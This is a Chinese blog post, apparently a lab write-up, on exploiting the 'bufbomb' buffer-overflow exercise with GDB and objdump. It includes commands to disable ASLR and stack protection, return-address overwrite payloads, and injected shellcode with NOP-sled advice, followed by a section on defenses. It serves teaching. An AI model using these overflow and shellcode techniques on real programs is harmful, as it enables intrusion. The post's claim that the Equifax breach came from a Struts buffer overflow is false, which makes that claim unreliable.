news 2026/7/16 17:44:18

计算机系统安全实验:利用GDB与objdump剖析缓冲区溢出攻击链

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
计算机系统安全实验:利用GDB与objdump剖析缓冲区溢出攻击链

1. 初识缓冲区溢出攻击

第一次听说缓冲区溢出攻击时,我脑海中浮现的是装满水的杯子不断溢出画面的场景。在计算机世界里,这个概念同样形象——当程序向固定大小的缓冲区写入超过其容量的数据时,多余的数据就会"溢出"到相邻内存空间。这种看似简单的内存错误,却能被攻击者精心利用来劫持程序执行流程。

记得2017年Equifax数据泄露事件中,攻击者正是利用Apache Struts框架的缓冲区溢出漏洞,导致1.43亿用户的敏感信息泄露。这让我意识到,理解缓冲区溢出不仅是学术需求,更是现实安全防御的重要基础。

在Linux系统下,我们可以通过一个简单的例子感受缓冲区溢出的威力。下面这段代码就存在典型溢出漏洞:

void vulnerable_function() { char buffer[8]; gets(buffer); // 危险函数,不检查输入长度 printf("Input: %s\n", buffer); }

当输入超过8个字符时,程序就会出现段错误。这是因为多余的字符覆盖了栈上的关键数据。在实验环境中,我们将使用GDB调试器objdump反汇编工具,像侦探一样剖析这种攻击的完整链条。

2. 实验环境搭建与工具准备

工欲善其事,必先利其器。我们的实验环境需要以下组件:

  • Ubuntu 18.04 LTS(32位版本更易演示)
  • GDB增强工具(建议安装GEF或Peda):
    # 安装GEF wget -q -O ~/.gdbinit-gef.py https://github.com/hugsy/gef/raw/master/gef.py echo "source ~/.gdbinit-gef.py" >> ~/.gdbinit
  • 编译工具链
    sudo apt install gcc-multilib g++-multilib
  • 目标程序bufbomb(实验提供的漏洞程序)

特别需要注意的是,现代系统默认开启了多种保护机制,我们需要暂时关闭它们以便实验:

# 关闭地址空间随机化 sudo sysctl -w kernel.randomize_va_space=0 # 编译时关闭栈保护 gcc -m32 -fno-stack-protector -z execstack -o bufbomb bufbomb.c

objdump的使用是理解程序内部结构的关键。通过以下命令可以查看程序的汇编代码:

objdump -d -M intel bufbomb > bufbomb.asm

这个命令会生成带有Intel语法汇编代码的文件,其中-d参数表示反汇编可执行段,-M intel指定使用Intel汇编语法(相比AT&T语法更易读)。

3. 栈帧结构与函数调用机制

要理解缓冲区溢出攻击,必须深入掌握栈帧结构。当一个函数被调用时,栈上会分配一个新的栈帧,其典型布局如下(以32位系统为例):

高地址 +-----------------+ | 参数n | +-----------------+ | ... | +-----------------+ | 参数1 | +-----------------+ | 返回地址 | <-- 攻击目标 +-----------------+ | 保存的ebp | +-----------------+ | 局部变量 | | ... | 低地址

在实验程序bufbomb中,关键的getbuf()函数汇编代码如下:

080491f4 <getbuf>: 80491f4: 55 push ebp 80491f5: 89 e5 mov ebp,esp 80491f7: 83 ec 38 sub esp,0x38 80491fa: 8d 45 d8 lea eax,[ebp-0x28] 80491fd: 89 04 24 mov DWORD PTR [esp],eax 8049200: e8 f5 fa ff ff call 8048cfa <Gets> 8049205: b8 01 00 00 00 mov eax,0x1 804920a: c9 leave 804920b: c3 ret

这段代码揭示了几个关键信息:

  1. 栈空间分配了0x38(56)字节
  2. 缓冲区起始地址在ebp-0x28(40字节处)
  3. 使用不安全的Gets函数读取输入

通过GDB调试,我们可以实际观察栈布局。在getbuf函数入口设置断点:

gdb bufbomb (gdb) break *0x80491f4 (gdb) run -u [你的ID]

输入info frame命令可以查看当前栈帧信息,x/20wx $esp则能以16进制显示栈内容。

4. 基础攻击:劫持控制流到smoke函数

第一关目标是让getbuf()返回到smoke()而非原调用者。这需要三步:

  1. 定位smoke函数地址

    objdump -d bufbomb | grep -A 10 "<smoke>:"

    输出类似:

    08048eb0 <smoke>: 8048eb0: 55 push ebp ...

    得到smoke地址为0x08048eb0。

  2. 计算溢出偏移量

    • 缓冲区起始:ebp-0x28
    • 返回地址位于:ebp+4
    • 偏移量 = 0x28 + 4 = 44字节
  3. 构造攻击字符串: 使用Python生成包含smoke地址的payload:

    python -c 'print "A"*44 + "\xb0\x8e\x04\x08"' > smoke_input

    注意地址采用小端格式。

在GDB中验证攻击效果:

(gdb) run < smoke_input

如果看到"Smoke!: You called smoke()"的输出,说明攻击成功。

关键技巧:在GDB中可以使用cyclic工具自动计算偏移量。首先生成测试字符串:

gdb-peda$ pattern create 100 AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA...

当程序崩溃时,查看覆盖EIP的值:

gdb-peda$ x/wx $esp 0xffffd6ac: 0x41414641 gdb-peda$ pattern offset 0x41414641 1094796865 found at offset: 44

5. 进阶攻击:带参数跳转到fizz函数

第二关要求跳转到fizz()并传入cookie参数。通过分析fizz的汇编代码:

08048e60 <fizz>: 8048e60: 55 push ebp 8048e61: 89 e5 mov ebp,esp 8048e63: 83 ec 18 sub esp,0x18 8048e66: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 8048e69: 3b 05 08 d1 04 08 cmp eax,DWORD PTR ds:0x804d108 ...

可以看出参数存储在ebp+8的位置。我们需要构造的栈布局如下:

[44字节填充][fizz地址][4字节返回地址][cookie值]

具体步骤:

  1. 获取个人cookie:

    ./makecookie [你的ID]

    假设得到0x642b7ea2。

  2. 构造payload:

    import struct payload = "A"*44 payload += struct.pack("<I", 0x08048e60) # fizz地址 payload += "B"*4 # 新的返回地址(可任意) payload += struct.pack("<I", 0x642b7ea2) # cookie with open("fizz_input", "w") as f: f.write(payload)

在GDB中调试时,可以在fizz函数设置断点,检查参数是否正确传递:

(gdb) break *0x8048e66 (gdb) run < fizz_input (gdb) x/wx $ebp+8 0xffffd6dc: 0x642b7ea2

6. 高级攻击:执行自定义shellcode

第三关要求修改全局变量global_value后跳转到bang函数。这需要注入并执行自定义汇编代码,步骤如下:

  1. 编写汇编代码: 创建exploit.s文件:

    mov eax, 0x804d108 ; cookie地址 mov eax, [eax] mov ebx, 0x804d100 ; global_value地址 mov [ebx], eax push 0x08048e10 ; bang地址 ret
  2. 编译提取机器码

    nasm -f elf exploit.s objdump -d exploit.o

    得到类似如下的机器码:

    a1 08 d1 04 08 a3 00 d1 04 08 68 10 8e 04 08 c3
  3. 确定缓冲区地址: 在GDB中运行到getbuf的Gets调用前:

    (gdb) break *0x8049200 (gdb) run (gdb) print/x $eax $1 = 0xffffd680
  4. 构造最终payload

    shellcode = "\xa1\x08\xd1\x04\x08\xa3\x00\xd1\x04\x08\x68\x10\x8e\x04\x08\xc3" payload = shellcode.ljust(44, "\x90") # NOP填充 payload += struct.pack("<I", 0xffffd680) # shellcode地址

关键点:实际环境中地址可能变化,可以使用NOP雪橇技术提高成功率。即在shellcode前填充大量0x90(NOP指令),只要跳转到其中任意一个NOP,最终都能滑向shellcode。

7. 防御技术与实验思考

完成攻击实验后,我们应该思考现代系统如何防御这类攻击:

  1. 栈保护(Stack Canary): GCC的-fstack-protector选项会在栈上插入金丝雀值,在返回前验证其完整性。

  2. 数据执行保护(DEP/NX): 通过-z noexecstack编译选项标记栈为不可执行。

  3. 地址空间随机化(ASLR): 系统级的防护,随机化内存布局使地址难以预测。

在实验中,我特别注意到几个易错点:

  • 地址的小端表示容易弄错字节顺序
  • GDB中的栈地址与实际运行时有差异(可通过env - gdb解决)
  • shellcode中包含空字节会导致gets提前终止

通过这个实验,我深刻理解了为什么C/C++中要避免使用gets、strcpy等危险函数。即使是简单的内存错误,在攻击者手中也可能变成严重的漏洞。作为开发者,我们应该:

  • 始终使用长度受限的函数(如fgets、strncpy)
  • 启用所有安全编译选项
  • 对用户输入保持高度警惕
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/16 17:43:11

责任链还是编排器?一次实际项目中的技术选型

这篇文章聊一下我在做设备上报数据处理模块重构时&#xff0c;面对"显式编排器"和"经典责任链"这两种模式的选型过程。不是教科书式的概念科普&#xff0c;而是结合实际需求分析为什么最终选了编排器。 需求背景 简单说一下场景&#xff1a;传感器设备通过…

作者头像 李华
网站建设 2026/7/16 17:40:18

计算机小程序毕设实战-基于 SpringBoot + 微信小程序的日常收支记录小程序的设计与实现【完整源码+LW+部署说明+演示视频,全bao一条龙等】

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华
网站建设 2026/7/16 17:39:41

STM32F103智能小车开发实战:硬件搭建与核心算法

1. STM32F103开发板与智能小车项目概述在嵌入式开发领域&#xff0c;STM32系列MCU因其出色的性价比和丰富的生态资源&#xff0c;成为工程师和爱好者的首选平台。我最近基于STM32F103C8T6开发板完成了一个智能小车的二次开发项目&#xff0c;这个蓝色的小板子虽然只有拇指大小&…

作者头像 李华
网站建设 2026/7/16 17:39:14

C++面向对象实战:足球俱乐部管理系统设计与实现详解

1. 项目概述与核心价值 最近在整理过去的项目代码&#xff0c;翻到了一个大学时期做的“足球俱乐部管理系统”。当时为了完成C面向对象课程的期末大作业&#xff0c;花了不少心思。现在回头看&#xff0c;这个项目虽然规模不大&#xff0c;但麻雀虽小五脏俱全&#xff0c;几乎涵…

作者头像 李华